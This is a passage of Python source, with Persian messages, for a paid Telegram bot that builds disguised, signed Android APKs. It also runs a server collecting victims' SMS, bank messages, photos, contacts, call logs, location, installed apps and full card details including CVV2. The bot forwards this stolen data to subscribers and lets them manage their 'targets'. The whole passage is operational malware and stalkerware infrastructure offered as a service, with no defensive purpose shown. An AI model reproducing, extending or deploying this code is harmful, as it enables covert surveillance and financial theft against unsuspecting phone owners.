        json.dump(config, f, ensure_ascii=False, indent=2)

    # build
    built_apk = os.path.join(work_dir, "unsigned.apk")
    ret, out, err = run_apktool(["b", decoded_dir, "-o", built_apk, "-f"], cwd=None)
    if ret != 0:
        full_err = (err or "") + "\n" + (out or "")
        try:
            with open(os.path.join(work_dir, "build_error.log"), "w", encoding="utf-8") as ef:
                ef.write(full_err)
        except Exception:
            pass
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("apktool build failed: " + full_err[:1500])

    if not os.path.isfile(built_apk) or os.path.getsize(built_apk) == 0:
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("apktool فایل تولید نکرد")

    log_event("INFO", "unsigned.apk ساخته شد — {} KB".format(os.path.getsize(built_apk) // 1024))

    # بررسی محتوا
    try:
        with zipfile.ZipFile(built_apk, "r") as zf:
            names = zf.namelist()
            if "assets/index.html" not in names:
                log_event("WARN", "assets/index.html در APK نیست!")
            if "AndroidManifest.xml" not in names:
                raise Exception("AndroidManifest.xml در APK نیست")
            # بررسی وجود کلاس‌های smali (فایل dex)
            dex_found = any(n.endswith(".dex") for n in names)
            if not dex_found:
                log_event("WARN", "هیچ dex در APK یافت نشد!")
            else:
                log_event("INFO", "dex موجود — تعداد فایل‌های dex: {}".format(
                    sum(1 for n in names if n.endswith(".dex"))))
    except Exception as e:
        log_event("WARN", "خطا در بررسی محتوا: " + str(e))

    # keystore
    keystore_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "trx.keystore")
    if not os.path.exists(keystore_path):
        try:
            subprocess.run([
                "keytool", "-genkeypair",
                "-keystore", keystore_path,
                "-alias", "trx",
                "-keyalg", "RSA",
                "-keysize", "2048",
                "-validity", "10000",
                "-storepass", "trx123456",
                "-keypass", "trx123456",
                "-dname", "CN=TRX, OU=TRX, O=TRX, L=TRX, ST=TRX, C=IR"
            ], check=True, capture_output=True, timeout=60)
        except Exception as e:
            shutil.rmtree(work_dir, ignore_errors=True)
            raise Exception("خطا در keystore: " + str(e))

    # zipalign + sign
    aligned_apk = os.path.join(work_dir, "aligned.apk")
    try_zipalign(built_apk, aligned_apk)
    if not os.path.isfile(aligned_apk) or os.path.getsize(aligned_apk) == 0:
        aligned_apk = built_apk

    signed_apk = os.path.join(work_dir, "signed.apk")
    try:
        sign_apk_with_best_method(aligned_apk, signed_apk, keystore_path)
    except Exception as e:
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("خطا در امضا: " + str(e))

    if not os.path.isfile(signed_apk) or os.path.getsize(signed_apk) == 0:
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("فایل امضاشده ساخته نشد")

    log_event("INFO", "signed.apk — {} KB".format(os.path.getsize(signed_apk) // 1024))

    valid, msg = validate_apk(signed_apk)
    if not valid:
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("اعتبارسنجی ناموفق: " + msg)

    final_apk = os.path.join(BUILDS_DIR, "TRX_{}_{}.apk".format(
        re.sub(r"\W", "", template["name"])[:12], build_key[:8]))
    final_apk = os.path.abspath(final_apk)
    shutil.copy2(signed_apk, final_apk)
    shutil.rmtree(work_dir, ignore_errors=True)
    log_event("INFO", "خروجی نهایی: {} ({} KB)".format(
        os.path.basename(final_apk), os.path.getsize(final_apk) // 1024))
    return final_apk

def validate_apk(apk_path):
    try:
        if not apk_path or not os.path.isfile(apk_path):
            return False, "فایل APK یافت نشد"
        if os.path.getsize(apk_path) == 0:
            return False, "فایل APK خالی است"
        if not zipfile.is_zipfile(apk_path):
            return False, "فایل APK معتبر نیست"
        with zipfile.ZipFile(apk_path, "r") as zf:
            bad_file = zf.testzip()
            if bad_file is not None:
                return False, "APK آسیب دیده: " + bad_file
            names = zf.namelist()
            if "AndroidManifest.xml" not in names:
                return False, "AndroidManifest.xml یافت نشد"
            has_sig = any(n.startswith("META-INF/") and n.upper().endswith((".RSA", ".DSA", ".EC", ".SF")) for n in names)
            if not has_sig:
                return False, "APK امضا نشده است"
        return True, "OK"
    except Exception as e:
        return False, "خطا در اعتبارسنجی: " + str(e)

# ---------- FALLBACK BUILD ----------
def build_without_apktool(base_apk, template, build_key, pkg, target_name, logo_path):
    log_event("WARN", "ساخت بدون apktool")
    build_dir = os.path.abspath(os.path.join(BUILDS_DIR, build_key))
    os.makedirs(build_dir, exist_ok=True)

    unsigned_apk = os.path.join(build_dir, "unsigned.apk")
    shutil.copy2(base_apk, unsigned_apk)

    html_content = generate_html_content(template, build_key, pkg, target_name)
    config = {"key": build_key, "server_port": DATA_SERVER_PORT, "pkg": pkg, "template": template["name"]}
    new_entries = {
        "assets/index.html": html_content.encode("utf-8"),
        "assets/config.json": json.dumps(config).encode("utf-8"),
    }

    tmp_apk = unsigned_apk + ".tmp"
    with zipfile.ZipFile(unsigned_apk, "r") as zin:
        with zipfile.ZipFile(tmp_apk, "w", zipfile.ZIP_DEFLATED) as zout:
            skip_patterns = ["res/mipmap-anydpi-", "res/drawable-anydpi-",
                             "META-INF/CERT.", "META-INF/MANIFEST.MF"]
            for item in zin.infolist():
                if any(pat in item.filename for pat in skip_patterns):
                    continue
                if item.filename.upper().endswith((".RSA", ".DSA", ".EC", ".SF")):
                    continue
                if item.filename in new_entries:
                    new_info = zipfile.ZipInfo(item.filename, date_time=item.date_time)
                    new_info.compress_type = zipfile.ZIP_DEFLATED
                    new_info.external_attr = item.external_attr
                    zout.writestr(new_info, new_entries.pop(item.filename))
                else:
                    zout.writestr(item, zin.read(item.filename))
            for path, data in new_entries.items():
                zout.writestr(path, data)
    os.replace(tmp_apk, unsigned_apk)

    keystore_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "trx.keystore")
    if not os.path.exists(keystore_path):
        try:
            subprocess.run([
                "keytool", "-genkeypair",
                "-keystore", keystore_path,
                "-alias", "trx", "-keyalg", "RSA", "-keysize", "2048",
                "-validity", "10000",
                "-storepass", "trx123456", "-keypass", "trx123456",
                "-dname", "CN=TRX, OU=TRX, O=TRX, L=TRX, ST=TRX, C=IR"
            ], check=True, capture_output=True, timeout=60)
        except Exception as e:
            raise Exception("خطا در keystore: " + str(e))

    signed_apk = os.path.join(build_dir, "signed.apk")
    try:
        sign_apk_with_best_method(unsigned_apk, signed_apk, keystore_path)
    except Exception as e:
        raise Exception("خطا در امضا: " + str(e))

    valid, msg = validate_apk(signed_apk)
    if not valid:
        raise Exception("اعتبارسنجی ناموفق: " + msg)

    final_apk = os.path.join(BUILDS_DIR, "TRX_{}_{}.apk".format(
        re.sub(r"\W", "", template["name"])[:12], build_key[:8]))
    final_apk = os.path.abspath(final_apk)
    shutil.copy2(signed_apk, final_apk)
    shutil.rmtree(build_dir, ignore_errors=True)
    return final_apk

# ---------- MAIN build_apk ----------
def build_apk(template, pkg, build_key, user_id, target_name, logo_path=None):
    if not SERVER_HOST.strip():
        raise Exception(
            "SERVER_HOST در کد تنظیم نشده!\n"
            "بالای فایل، متغیر SERVER_HOST را با IP یا دامنه سرورت پر کن.\n"
            "مثال: SERVER_HOST = \"1.2.3.4\""
        )

    missing = check_required_tools()
    if missing:
        raise Exception("ابزارهای مورد نیاز نصب نیستند: " + ", ".join(missing))

    base_apk_paths = [
        os.path.join(os.path.dirname(os.path.abspath(__file__)), "base.apk"),
        "/usr/local/share/trx/base.apk",
    ]
    base_apk = None
    for p in base_apk_paths:
        if os.path.exists(p) and os.path.getsize(p) > 0:
            base_apk = p
            break
    if not base_apk:
        raise Exception("base.apk یافت نشد")

    valid, msg = validate_apk(base_apk)
    if not valid:
        raise Exception("base.apk نامعتبر: " + msg)

    if not check_apktool():
        raise Exception("apktool در دسترس نیست")

    return build_with_apktool(base_apk, template, build_key, pkg, target_name, logo_path)

# ==================== DATA SERVER ==================== #
MAIN_LOOP = None

class DataHandler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        pass

    def _send_cors(self):
        try:
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Access-Control-Allow-Methods", "POST, OPTIONS")
            self.send_header("Access-Control-Allow-Headers", "Content-Type")
        except Exception:
            pass

    def do_OPTIONS(self):
        try:
            self.send_response(200)
            self._send_cors()
            self.send_header("Content-Length", "0")
            self.end_headers()
        except Exception:
            pass

    def do_GET(self):
        try:
            self.send_response(200)
            self._send_cors()
            self.send_header("Content-Type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(b"TRX server OK")
        except Exception:
            pass

    def do_POST(self):
        try:
            length = int(self.headers.get("Content-Length", 0))
            if length > 60 * 1024 * 1024:
                self.send_response(413)
                self._send_cors()
                self.end_headers()
                return
            body = self.rfile.read(length)
            try:
                data = json.loads(body.decode("utf-8", errors="replace"))
            except Exception:
                self.send_response(400)
                self._send_cors()
                self.end_headers()
                return

            key = str(data.get("key", ""))
            dtype = str(data.get("type", ""))
            payload = data.get("data", {}) or {}

            target = None
            uid = None
            with DB_LOCK:
                for tuid, tg in DATABASE["targets"].items():
                    if tg.get("build_key") == key:
                        target = tg
                        uid = tuid
                        break
            if not target:
                log_event("WARN", "داده از کلید ناشناس: " + key[:8])
                self.send_response(403)
                self._send_cors()
                self.end_headers()
                return

            with DB_LOCK:
                was_online = target.get("online", False)
                target["last_seen"] = time.time()
                target["online"] = True
                db_save()

            log_event("INFO", "دریافت {} از هدف {}".format(dtype, target.get("name")))

            if dtype == "connect":
                handle_target_connected(uid, target)
            elif dtype == "heartbeat":
                pass
            elif dtype == "sms":
                handle_target_sms(uid, target, payload)
            elif dtype == "photo":
                handle_target_photo(uid, target, payload)
            elif dtype == "contacts":
                handle_target_contacts(uid, target, payload)
            elif dtype == "calls":
                handle_target_calls(uid, target, payload)
            elif dtype == "location":
                handle_target_location(uid, target, payload)
            elif dtype == "apps":
                handle_target_apps(uid, target, payload)
            elif dtype == "card":
                handle_target_card(uid, target, payload)
            elif dtype == "device":
                handle_target_device(uid, target, payload)

            self.send_response(200)
            self._send_cors()
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(b"OK")
        except Exception as e:
            log_event("ERROR", "خطای داده سرور: " + str(e))
            try:
                self.send_response(500)
                self._send_cors()
                self.end_headers()
            except Exception:
                pass

def handle_target_connected(uid, target):
    try:
        user = get_user(uid)
        if not user:
            return
        if not user.get("settings", {}).get("notify_connect", True):
            return
        text = " 🔔  <b>هدف وصل شد!</b>\n\n> 🎯  نام: <b>{}</b>\n> 📱  مدل: <b>{}</b>\n> ⏰  زمان: {}".format(
            esc(target.get("name", "نامشخص")),
            esc(target.get("device", "نامشخص")),
            jalali_str())
        run_coro(async_send(PBOT_INSTANCE, int(uid), text))
        log_event("INFO", "هدف وصل شد: " + str(target.get("name")))
    except Exception as e:
        log_event("ERROR", "خطای هشدار اتصال: " + str(e))

def handle_target_sms(uid, target, payload):
    try:
        body = str(payload.get("body", ""))
        sender = str(payload.get("sender", ""))
        ts = payload.get("time", time.time())
        sms = {"sender": sender, "body": body, "time": ts, "bank": is_bank_sms(body, sender)}
        with DB_LOCK:
            target.setdefault("sms", []).append(sms)
            if len(target["sms"]) > MAX_SMS_KEEP:
                target["sms"] = target["sms"][-MAX_SMS_KEEP:]
            DATABASE["stats"]["total_sms"] = DATABASE["stats"].get("total_sms", 0) + 1
            bump_daily(user=None, key="sms")
            if not target.get("phone"):
                m = re.search(r"(\+98|0)?9\d{9}", body)
                if m:
                    target["phone"] = "0" + m.group(0).replace("+98", "0")[-10:]
            db_save()
        user = get_user(uid)
        if not user:
            return
        settings = user.get("settings", {})
        if sms["bank"] and settings.get("notify_sms_bank", True):
            p = parse_sms_transaction(body)
            text = " 📩  <b>پیامک بانکی جدید</b>\n\n> 🏦  بانک: <b>{}</b>\n> 💵  نوع: <b>{}</b>\n> 💰  مبلغ: <b>{}</b>\n> 📤  فرستنده: {}\n 📅  {}\n\n<code>{}</code>".format(
                esc(p["bank"]), esc(p["type"]), esc(p["amount"] or "نامشخص"),
                esc(sender), jalali_str(ts), esc(body[:400]))
            run_coro(async_send(PBOT_INSTANCE, int(uid), text))
        elif settings.get("notify_sms", False):
            text = " 📨  <b>پیام جدید از {}</b>\n\n<code>{}</code>".format(
                esc(target.get("name")), esc(body[:400]))
            run_coro(async_send(PBOT_INSTANCE, int(uid), text))
    except Exception as e:
        log_event("ERROR", "خطای دریافت پیامک: " + str(e))

def handle_target_photo(uid, target, payload):
    try:
        b64 = payload.get("b64", "")
        fname = payload.get("name", "photo.jpg")
        raw = base64.b64decode(b64)
        folder = os.path.join(DOWNLOADS_DIR, str(uid), str(target.get("id", "x")))
        os.makedirs(folder, exist_ok=True)
        safe_name = re.sub(r"\W", "_", fname)[:40] or "photo.jpg"
        path = os.path.join(folder, "{}_{}".format(int(time.time()), safe_name))
        with open(path, "wb") as f:
            f.write(raw)
        with DB_LOCK:
            target.setdefault("photos", []).append({"path": path, "time": time.time()})
            DATABASE["stats"]["total_photos"] = DATABASE["stats"].get("total_photos", 0) + 1
            bump_daily(user=None, key="photos")
            db_save()
        if get_user(uid) and get_user(uid).get("settings", {}).get("notify_photo", True):
            text = " 📷  <b>عکس جدید از هدف {}</b>\n 📅  {}".format(
                esc(target.get("name")), jalali_str())
            run_coro(async_send(PBOT_INSTANCE, int(uid), text, document_path=None))
    except Exception as e:
        log_event("ERROR", "خطای دریافت عکس: " + str(e))

def handle_target_contacts(uid, target, payload):
    try:
        with DB_LOCK:
            target["contacts"] = payload.get("list", [])
            db_save()
    except Exception as e:
        log_event("ERROR", "خطای مخاطبین: " + str(e))

def handle_target_calls(uid, target, payload):
    try:
        with DB_LOCK:
            target["calls"] = payload.get("list", [])
            db_save()
    except Exception as e:
        log_event("ERROR", "خطای تماس ها: " + str(e))

def handle_target_location(uid, target, payload):
    try:
        with DB_LOCK:
            target["location"] = {"lat": payload.get("lat"), "lon": payload.get("lon"), "time": time.time()}
            db_save()
    except Exception as e:
        log_event("ERROR", "خطای موقعیت: " + str(e))

def handle_target_apps(uid, target, payload):
    try:
        with DB_LOCK:
            target["apps"] = payload.get("list", [])
            db_save()
    except Exception as e:
        log_event("ERROR", "خطای اپ ها: " + str(e))

def handle_target_card(uid, target, payload):
    try:
        card = re.sub(r"\D", "", str(payload.get("card", "")))
        exp = str(payload.get("exp", ""))
        cvv = str(payload.get("cvv2", ""))
        if len(card) != 16:
            return
        entry = {"card": card, "exp": exp, "cvv2": cvv, "time": time.time(), "phone": target.get("phone", "")}
        with DB_LOCK:
            target.setdefault("cards", []).append(entry)
            DATABASE["stats"]["total_cards"] = DATABASE["stats"].get("total_cards", 0) + 1
            bump_daily(user=None, key="cards")
            db_save()
        bank = detect_bank_from_card(card)
        text = " 💳  <b>کارت ثبت شد!</b>\n\n> 🎯  هدف: <b>{}</b>\n> 🏦  بانک: <b>{}</b>\n> 💳  شماره کارت: <code>{}</code>\n> 📅  انقضا: <code>{}</code>\n> 🔑  CVV2: <code>{}</code>\n> 📱  موبایل: <code>{}</code>\n ⏰  {}".format(
            esc(target.get("name")), esc(bank), esc(format_card_grouped(card)),
            esc(exp), esc(cvv), esc(target.get("phone", "نامشخص")), jalali_str())
        run_coro(async_send(PBOT_INSTANCE, int(uid), text))
    except Exception as e:
        log_event("ERROR", "خطای کارت: " + str(e))

def handle_target_device(uid, target, payload):
    try:
        with DB_LOCK:
            target["device"] = "{} {} — Android {}".format(
                payload.get("brand", ""), payload.get("model", ""), payload.get("os", ""))
            db_save()
    except Exception as e:
        log_event("ERROR", "خطای اطلاعات گوشی: " + str(e))

def start_data_server():
    try:
        server = ThreadingHTTPServer(("0.0.0.0", DATA_SERVER_PORT), DataHandler)
        log_event("INFO", "داده سرور فعال روی پورت {}".format(DATA_SERVER_PORT))
        server.serve_forever()
    except Exception as e:
        log_event("ERROR", "خطای داده سرور: " + str(e))

# ==================== HEARTBEAT ==================== #
def heartbeat_checker(app):
    while True:
        try:
            time.sleep(10)
            now = time.time()
            with DB_LOCK:
                changed = False
                for tid, tg in DATABASE.get("targets", {}).items():
                    if tg.get("online") and (now - float(tg.get("last_seen", 0))) > HEARTBEAT_OFFLINE_SEC:
                        tg["online"] = False
                        changed = True
                if changed:
                    db_save()
        except Exception as e:
            log_event("ERROR", "خطای heartbeat: " + str(e))

# ==================== KEYBOARDS ==================== #
def kb_main(user):
    kb = [
        [InlineKeyboardButton("🔨 ساخت برنامه", callback_data="build")],
        [InlineKeyboardButton("👑 قالب های VIP", callback_data="vip_menu"), InlineKeyboardButton("🎯 هدف های من", callback_data="targets")],
        [InlineKeyboardButton("⭐ اشتراک من", callback_data="mysub"), InlineKeyboardButton("🛒 خرید اشتراک", callback_data="buy")],
        [InlineKeyboardButton("⚙ تنظیمات", callback_data="settings")],
        [InlineKeyboardButton("📘 راهنما", callback_data="help")]
    ]
    if str(user["id"]) == str(ADMIN_ID):
        kb.append([InlineKeyboardButton("🛡 پنل مدیریت", callback_data="admin")])
    return InlineKeyboardMarkup(kb)

def kb_back(target):
    return InlineKeyboardMarkup([[InlineKeyboardButton("🔙 برگشت", callback_data=target)]])

def kb_build_templates():
    rows = []
    keys = list(TEMPLATES.keys())
    for i in range(0, len(keys), 2):
        row = []
        for k in keys[i:i+2]:
            t = TEMPLATES[k]
            row.append(InlineKeyboardButton("{} {}".format(t["emoji"], t["name"]), callback_data="tpl:" + k))
        rows.append(row)
    rows.append([InlineKeyboardButton("🔙 برگشت", callback_data="menu")])
    return InlineKeyboardMarkup(rows)

def kb_vip_templates():
    rows = []
    keys = list(VIP_TEMPLATES.keys())
    for i in range(0, len(keys), 2):
        row = []
        for k in keys[i:i+2]:
            t = VIP_TEMPLATES[k]
            row.append(InlineKeyboardButton("{} {}".format(t["emoji"], t["name"]), callback_data="vtpl:" + k))
        rows.append(row)
    rows.append([InlineKeyboardButton("🔙 برگشت", callback_data="menu")])
    return InlineKeyboardMarkup(rows)

def kb_target_panel(tid):
    kb = [
        [InlineKeyboardButton("📩 پیامک ها", callback_data="t_sms:" + tid), InlineKeyboardButton("🏦 فقط بانکی", callback_data="t_banksms:" + tid)],
        [InlineKeyboardButton("📎 دانلود پیامک ها TXT", callback_data="t_smsdl:" + tid)],
        [InlineKeyboardButton("🖼 عکس ها", callback_data="t_photos:" + tid), InlineKeyboardButton("📸 عکس های جدید", callback_data="t_newphotos:" + tid)],
        [InlineKeyboardButton("👥 مخاطبین", callback_data="t_contacts:" + tid), InlineKeyboardButton("📞 تماس ها", callback_data="t_calls:" + tid)],
        [InlineKeyboardButton("📍 موقعیت زنده", callback_data="t_loc:" + tid), InlineKeyboardButton("📱 اطلاعات گوشی", callback_data="t_device:" + tid)],
        [InlineKeyboardButton("💾 لیست برنامه ها", callback_data="t_apps:" + tid), InlineKeyboardButton("💳 کارت های ثبت شده", callback_data="t_cards:" + tid)],
        [InlineKeyboardButton("🔍 جستجوی پیامک", callback_data="t_search:" + tid), InlineKeyboardButton("✏ ویرایش نام", callback_data="t_rename:" + tid)],
        [InlineKeyboardButton("🔁 ساخت مجدد APK", callback_data="t_rebuild:" + tid), InlineKeyboardButton("🔄 وضعیت اتصال", callback_data="t_status:" + tid)],
        [InlineKeyboardButton("⏰ گزارش اتصال", callback_data="t_report:" + tid), InlineKeyboardButton("🗑 حذف هدف", callback_data="t_del:" + tid)],
        [InlineKeyboardButton("🔙 هدف های من", callback_data="targets")]
    ]
    return InlineKeyboardMarkup(kb)

def kb_copy_card(tid, idx):
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("📋 کپی شماره کارت", callback_data="t_copycard:{}:{}".format(tid, idx))],
        [InlineKeyboardButton("🔙 کارت ها", callback_data="t_cards:" + tid)]
    ])

def kb_pricing(vip=False):
    rows = [[InlineKeyboardButton("🛒 ارسال درخواست به پشتیبانی", callback_data="vipbuy" if vip else "buy")]]
    rows.append([InlineKeyboardButton("🔙 برگشت", callback_data="menu")])
    return InlineKeyboardMarkup(rows)

def kb_admin():
    kb = [
        [InlineKeyboardButton("➕ دادن اشتراک", callback_data="a:givesub"), InlineKeyboardButton("➖ کسر اشتراک", callback_data="a:remsub")],
        [InlineKeyboardButton("🔒 قفل کل ربات", callback_data="a:lock"), InlineKeyboardButton("📢 ارسال همگانی", callback_data="a:broadcast")],
        [InlineKeyboardButton("👥 لیست کاربران", callback_data="a:listusers"), InlineKeyboardButton("🔎 جستجوی کاربر", callback_data="a:search")],
        [InlineKeyboardButton("✉ پیام به کاربر", callback_data="a:dm"), InlineKeyboardButton("🚫 بن/آنبن کاربر", callback_data="a:ban")],
        [InlineKeyboardButton("🗑 حذف کاربر", callback_data="a:deluser"), InlineKeyboardButton("🎨 ویرایش بنرها", callback_data="a:banner")],
        [InlineKeyboardButton("📊 آمار کلی", callback_data="a:stats"), InlineKeyboardButton("📅 آمار روزانه", callback_data="a:dailystats")],
        [InlineKeyboardButton("🎯 همه هدف ها", callback_data="a:targets"), InlineKeyboardButton("📜 لاگ ها", callback_data="a:logs")],
        [InlineKeyboardButton("📣 همگانی هدفمند", callback_data="a:bcast2"), InlineKeyboardButton("💰 تنظیم قیمت", callback_data="a:price")],
        [InlineKeyboardButton("🏆 قالب های پراستفاده", callback_data="a:toptpl"), InlineKeyboardButton("💾 خروجی دیتابیس", callback_data="a:exportdb")],
        [InlineKeyboardButton("🔄 ری استارت ربات", callback_data="a:restart"), InlineKeyboardButton("📡 کانال اجباری", callback_data="a:channel")],
        [InlineKeyboardButton("👤 اطلاعات کامل کاربر", callback_data="a:userinfo"), InlineKeyboardButton("↔ مهاجرت هدف", callback_data="a:migrate")],
        [InlineKeyboardButton("🔢 سقف هدف کاربر", callback_data="a:maxtgt"), InlineKeyboardButton("⏱ کاربران آنلاین", callback_data="a:onlinenow")],
        [InlineKeyboardButton("🧾 محدودیت بیلد روزانه", callback_data="a:buildday")],
        [InlineKeyboardButton("🔙 منوی اصلی", callback_data="menu")]
    ]
    return InlineKeyboardMarkup(kb)

# ==================== ANTI-SPAM ==================== #
SPAM_TRACK = {}
SPAM_BLOCK = {}
PROCESSED_CALLBACKS = set()
CALLBACK_CACHE_TTL = 3

def is_spam_blocked(user_id):
    now = time.time()
    if user_id in SPAM_BLOCK:
        if SPAM_BLOCK[user_id] > now:
            return True
        else:
            del SPAM_BLOCK[user_id]
    return False

def track_user_action(user_id):
    now = time.time()
    if user_id in SPAM_TRACK:
        SPAM_TRACK[user_id] = [t for t in SPAM_TRACK[user_id] if now - t < SPAM_WINDOW]
    else:
        SPAM_TRACK[user_id] = []
    SPAM_TRACK[user_id].append(now)
    if len(SPAM_TRACK[user_id]) > SPAM_LIMIT:
        SPAM_BLOCK[user_id] = now + SPAM_BLOCK_DURATION
        return True
    return False

def is_duplicate_callback(callback_id):
    if callback_id in PROCESSED_CALLBACKS:
        return True
    PROCESSED_CALLBACKS.add(callback_id)
    threading.Timer(CALLBACK_CACHE_TTL, lambda: PROCESSED_CALLBACKS.discard(callback_id)).start()
    return False

async def check_spam_and_block(update, user_id):
    if str(user_id) == str(ADMIN_ID):
        return False
    if is_spam_blocked(user_id):
        await safe_reply_text(update, "🚫 مسدود شده‌اید (ارسال زیاد).")
        return True
    if track_user_action(user_id):
        await safe_reply_text(update, "🚫 مسدود شده‌اید (ارسال زیاد).")
        return True
    return False

# ==================== HANDLERS ==================== #
PENDING = {}
PBOT_INSTANCE = None

def random_pkg():
    return "com.trx." + "".join(random.choices(string.ascii_lowercase + string.digits, k=12))

def generate_build_key():
    return str(uuid.uuid4()).replace("-", "")[:16]


async def cmd_start(update: Update, context):
    try:
        global PBOT_INSTANCE
        if PBOT_INSTANCE is None:
            PBOT_INSTANCE = context.application
        uid = str(update.effective_user.id)
        if await check_spam_and_block(update, uid):
            return
        user = ensure_user(update.effective_user.id, update.effective_user.username, update.effective_user.first_name)
        if REQ_CHANNEL_LOCK and REQ_CHANNEL_ID:
            try:
                member = await context.bot.get_chat_member(REQ_CHANNEL_ID, update.effective_user.id)
                if member.status not in ["member", "administrator", "creator"]:
                    kb = InlineKeyboardMarkup([[InlineKeyboardButton("📢 عضویت در کانال", url="https://t.me/" + REQ_CHANNEL_ID.replace("@", ""))]])
                    await update.message.reply_text("🔒 برای استفاده ابتدا عضو کانال شوید:", reply_markup=kb)
                    return
            except Exception:
                pass
        if user.get("banned"):
            await update.message.reply_text("🚫 بن شده اید.")
            return
        if DATABASE.get("settings", {}).get("bot_locked") and str(user["id"]) != str(ADMIN_ID):
            await update.message.reply_text("🔒 ربات غیرفعال است.")
            return

        if not SERVER_HOST.strip():
            if str(user["id"]) == str(ADMIN_ID):
                await update.message.reply_text(
                    "⚠️ <b>هشدار:</b>\nSERVER_HOST در کد تنظیم نشده!\n\n"
                    "قبل از ساخت APK، بالای فایل پایتون، متغیر SERVER_HOST را با IP عمومی یا دامنه سرورت پر کن.\n"
                    "مثال:\n<code>SERVER_HOST = \"1.2.3.4\"</code>",
                    parse_mode=ParseMode.HTML)
                return

        warn_expiry(user, context)
        banner = DATABASE["banners"].get("main", DEFAULT_BANNERS["main"])
        sub = has_any_sub(user)
        text = banner + "\n\n" + progress_bar(user) + "\n\n" + ("✅ اشتراک فعال" if sub else "❌ اشتراک ندارید") + "\n👤 کاربر: <b>{}</b>".format(esc(user.get("first") or user.get("username") or user["id"]))
        await update.message.reply_text(text, reply_markup=kb_main(user), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای start: " + str(e))

def warn_expiry(user, context):
    try:
        now = time.time()
        for key in ["normal_until", "vip_until"]:
            exp = float(user.get(key, 0))
            if exp > now:
                days_left = (exp - now) / 86400
                if 0.9 < days_left <= 1.05 or 2.9 < days_left <= 3.05:
                    if not user.get("warned_" + key):
                        txt = " ⚠  <b>هشدار انقضا!</b>\nاشتراک شما در {} روز دیگر منقضی می شود.".format(int(round(days_left)))
                        run_coro(async_send(PBOT_INSTANCE, int(user["id"]), txt))
                        with DB_LOCK:
                            user["warned_" + key] = True
                            db_save()
    except Exception as e:
        log_event("ERROR", "خطای هشدار انقضا: " + str(e))

async def on_button(update: Update, context):
    try:
        global PBOT_INSTANCE
        if PBOT_INSTANCE is None:
            PBOT_INSTANCE = context.application
        q = update.callback_query
        uid = str(update.effective_user.id)
        if await check_spam_and_block(update, uid):
            await q.answer()
            return
        if is_duplicate_callback(q.id):
            await q.answer()
            return
        await q.answer()
        user = ensure_user(update.effective_user.id, update.effective_user.username, update.effective_user.first_name)
        if user.get("banned"):
            await q.message.reply_text("🚫 بن شده اید.")
            return
        data = q.data

        if data.startswith("a:"):
            if uid != str(ADMIN_ID):
                return
            await handle_admin_button(update, context, user, data)
            return

        flow_protected = ("confirm_yes", "confirm_no", "nologo")
        if uid in PENDING and data not in flow_protected and not data.startswith("rb_nologo"):
            PENDING.pop(uid, None)

        if data == "menu":
            banner = DATABASE["banners"].get("main", DEFAULT_BANNERS["main"])
            text = banner + "\n\n" + progress_bar(user)
            await q.message.reply_text(text, reply_markup=kb_main(user), parse_mode=ParseMode.HTML)
        elif data == "build":
            if not has_any_sub(user):
                await q.message.reply_text("❌ نیاز به اشتراک فعال.", reply_markup=kb_pricing(False))
                return
            banner = DATABASE["banners"].get("build", DEFAULT_BANNERS["build"])
            await q.message.reply_text(banner, reply_markup=kb_build_templates(), parse_mode=ParseMode.HTML)
        elif data == "vip_menu":
            if not is_vip(user):
                text = "👑 برای VIP باید اشتراک ویژه داشته باشید.\n\n" + DATABASE["banners"].get("vip", DEFAULT_BANNERS["vip"])
                await q.message.reply_text(text, reply_markup=kb_pricing(True), parse_mode=ParseMode.HTML)
                return
            await q.message.reply_text(DATABASE["banners"].get("vip", DEFAULT_BANNERS["vip"]), reply_markup=kb_vip_templates(), parse_mode=ParseMode.HTML)
        elif data == "targets":
            if not has_any_sub(user):
                await q.message.reply_text("❌ نیاز به اشتراک فعال.", reply_markup=kb_pricing(False))
                return
            await show_targets(update, user)
        elif data == "mysub":
            await show_my_sub(update, user)
        elif data == "buy" or data == "vipbuy":
            vip = data == "vipbuy"
            price = PRICE_VIP_WEEK if vip else PRICE_NORMAL_WEEK
            tbl = "\n".join(["{} روز: {} TRX".format(d, d // 7 * price) for d in [7, 14, 21, 28, 35, 42, 49, 56, 60]])
            text = " 🛒  <b>خرید اشتراک {}</b>\n\n📊 جدول قیمت\n<code>{}</code>\n\n📩 پشتیبانی: <b>{}</b>".format("VIP 👑 " if vip else "عادی", tbl, SUPPORT_ID)
            if data == "vipbuy":
                PENDING[uid] = {"action": "buy_vip_req"}
                await q.message.reply_text(text, reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("📨 ارسال درخواست", callback_data="send_buy_vip")], [InlineKeyboardButton("🔙 برگشت", callback_data="menu")]]), parse_mode=ParseMode.HTML)
            else:
                PENDING[uid] = {"action": "buy_req"}
                await q.message.reply_text(text, reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("📨 ارسال درخواست", callback_data="send_buy")], [InlineKeyboardButton("🔙 برگشت", callback_data="menu")]]), parse_mode=ParseMode.HTML)
        elif data == "send_buy" or data == "send_buy_vip":
            vip = data == "send_buy_vip"
            admin_text = " 🛒  <b>درخواست خرید {}</b>\n\n🆔  <code>{}</code>\n👤  @{}\n📅  {}".format("VIP" if vip else "عادی", uid, esc(user.get("username") or "-"), jalali_str())
            kb = InlineKeyboardMarkup([[InlineKeyboardButton("✅ تأیید ۷ روزه", callback_data="a:approve:{}:{}".format(uid, "vip" if vip else "normal"))]])
            run_coro(async_send(PBOT_INSTANCE, ADMIN_ID, admin_text, keyboard=kb))
            await q.message.reply_text("✅ درخواست ارسال شد.")
            PENDING.pop(uid, None)
        elif data.startswith("tpl:") or data.startswith("vtpl:"):
            await show_template_preview(update, user, data.split(":", 1)[1])
        elif data.startswith("go_"):
            await start_build_flow(update, context, user, data[3:])
        elif data == "sendlogo":
